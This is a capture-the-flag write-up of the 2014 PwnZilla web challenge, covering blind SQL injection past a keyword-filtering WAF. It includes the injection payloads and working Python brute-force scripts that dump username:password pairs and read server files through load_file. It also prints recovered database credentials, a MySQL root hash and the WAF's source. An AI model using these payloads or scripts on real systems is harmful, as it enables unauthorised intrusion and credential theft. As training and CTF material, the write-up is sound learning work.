Secnews Web Challenge PwnZilla [Sqli]

31/05/2014

PwnZilla! Write up

Contact: [email protected]


I would like to thank A. Stasinopoulos and Secnews for this awesome challenge.

The challenge is hosted in http://185.12.117.160/pz1.php and the main goal is to find the Flag.

Write up written with markdown


Let's start

Information Gathering

If we do a random request to the server like

http://185.12.117.160/teh3ck

we get this response:

Apache/2.2.22 (Debian) Server at 185.12.117.160 Port 80

So we have a debian system in which the webserver is located to /var/www by default.

Sqli

As we see here, the first number is changing and the others are the same.

changes

Let's call the numbers that remain the same as suffix. If we look at them closely, we can understand that these numbers are the current date(31 of May)!

If we make a request with the first number of the id parameter changed the response is:

(Request:http://185.12.117.160/pz1.php?id=x0531)

Unknown column 'x' in 'where clause'

So, we have to deal with an sql injection here.

I fired up sqlmap, played a lot with its parameters but it didn't manage to exploit the sqli.

I discovered a lot of words that web firewall filters
These are:

and or  
union  
‘ “                    
/\
not  
null  
where  
case  
group  
into  

The web firewall is very strict and the only way i could bypass the filters is to use blind sql injection.

Let's find the tables

So we have to guess the table_names:

http://185.12.117.160/pz1.php?id=9 || ascii(substring((SELECT id from <insert_table_name_here>),1,1))>10-- -0531  

When the server response doesn't include the string "doesn't exist", it means that we found a valid table.

Valid tables i found: users, pages(meh :P).

We also have the db_name, which is ("L01DB").

Let's find the columns

Next, i should find the columns:

http://185.12.117.160/pz1.php  
?id=9 || ascii(substring((SELECT <insert column_name here> from users),1,1))>10-- -0531

If we don't see the response Unknown column 'a' in 'field list' it means that our column exists in the database.

Valid columns i found are "id", "username", "password".

Blind dump

Let's try to bruteforce the database in order to dump the credentials.

The main query is:

|| ascii(substring((SELECT concat(username,0x3a,password) from users),4,1))>50-- -0531

Let's explain some things

|| ascii(substring((SELECT concat(username,0x3a,password) from users),<!$char_position!>,1))><!$char!>-- -0531

The is the character position of the string that we currently analyze.

The is the decimal representation of the character. E.g. dec(A) == 65

So we have 2 loops, one for all the chars that are located in database and another one in order to find which is this character.

To extract the credentials i used a bruteforce script again

# PwnZilla! Dump Username:Password Exploit
# Author: Evangelos Mourikis <[email protected]>
# 31/05/2014
# http://vagmour.eu


from __future__ import print_function

import requests  
import re  
import sys  
for i in range(1,50):  
        testi = str(i)
        for y in range(32,134):
                testy = str(y)
                r = requests.get("http://185.12.117.160/pz1.php?id=9 || ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1)," + testi + ",1))="+ testy + "-- -0531")
                m = re.search("404", r.text)
                if m is None:
                        print(chr(int(testy)), end='')
                        sys.stdout.flush()
                        break

After running the exploit i got:

Flag:654e1c2ac6312d8c6441282f155c8ce9

If i decrypt the md5 hash the result is "Noob"!

What an easy flag, huh ?

Load_file

Query:

9 || ascii(substring((SELECT load_file(<insert hex encoded file path>) from mysql.user limit 1,1)," + testi + ",1))="+ testy + "-- -0531  

Bruteforcing is taking ages and i found a smart way to find where the php is located in the /var/www/pz1.php file.

I created a script that searches the pz1.php file for the char '?' and it displays its position.

The script i used for that purpose is:

# Bruteforcing files for php tags('?') through blind sql inj
# Author: Evangelos Mourikis <[email protected]>
# 31/05/2014
# http://vagmour.eu

from __future__ import print_function

inj = 'load_file(0x2f7661722f7777772f707a312e706870)' #pz1.php  
import requests  
import re  
import sys  
for i in range(1,100000):  
        testi = str(i)
        for y in range(62,64):
                testy = str(y)
                r = requests.get("http://185.12.117.160/pz1.php?id=9 || ascii(substring((SELECT "+ inj +" from mysql.user limit 1,1)," + testi + ",1))="+ testy + "-- -0531")
                m = re.search("404", r.text)
                if m is None:
                        if chr(int(testy)) == '?':

                                print(int(i))
                                sys.stdout.flush()
                                break

I got that output:

2  
44  
919  
937  
953  
994  
1012  
1028  
1255  
1289  
1341  
1379  
1457  
4562  

These are the positions of '?' in open and close php tags. So, for example we have a tag to open in position 2 and one to close in posistion 44.

The main script looks to be beetween 1457-4562!!!

I discovered some cool things of the pz1.php file;

Here we can see the Suffix that changes itself each day:

<?php$t = time();$suffix = date("md",$t)?>

Database Credentials:

$db_name  = "L01DB”;
$db_user  = "dbowner”;
$db_pass  = “t3ms3cDB0wn3r"

WAF script

I was curious about the backend script that filters all of these words. So i dumbed the char positions 1457-4562 of pz1.php aaand...

############## MySQL Connection
$db = mysql_connect($hostname, $db_user, $db_pass);
if (!$db) {  
# Connection Error
echo "Could not connect to database: '" . mysql_error() . "' <br />\n";  
else {if (mysql_select_db($db_name, $db))  
{if ($_GET['id'] != null)                         
{$id = $_GET['id'];                         
else  
{$id = "1".$suffix;if (!preg_match('/'.$suffix.'$/', $id))
{
# ------------------------------# UBER-LAME SQLi Filter!# ------------------------------# Filter Quotes.# ------------------------------
if(preg_match('/[\'"]/', $id))  
exit('<h2><b>ALERT!</b></h2> Your Hack attempt <b>logged</b> and <b>will be reported</b> to your ISP!');  
# ------------------------------# Filter Slashes.# ------------------------------
if(preg_match('/[\/\\\\]/', $id))  
exit('<h2><b>ALERT!</b></h2> Your Hack attempt <b>logged</b> and <b>will be reported</b> to your ISP!');  
# ------------------------------# Filter basic SQLi keywords.# ------------------------------
if(preg_match('/\b(unionandornullnotgroupwherehavingintofilecase)\b/i', $id))  
exit('<h2><b>ALERT!</b></h2> Your Hack attempt <b>logged</b> and <b>will be reported</b> to your ISP!');  
# ------------------------------
echo "<h2><b>404 - Page not found!</b></h2>" ;  
else {$id = str_replace("".$suffix, "", $id);  
# ------------------------------# UBER-LAME SQLi Filter!# ------------------------------# Filter Quotes.
if(preg_match('/[\'"]/', $id))  
exit('<h2><b>ALERT!</b></h2> Your Hack attempt <b>logged</b> and <b>will be reported</b> to your ISP!');



....[Content Stripped]....

Mysql root user

Query for mysql user table dumping:

9 || ascii(substring((SELECT concat(user,0x3a,password) from mysql.user limit 0,1),1,1))>10-- -0531  

root:*5D9EF0AD0C616CDC5DE25AAFADF576B9AAAF22EA

I also managed to read /etc/passwd and other system files.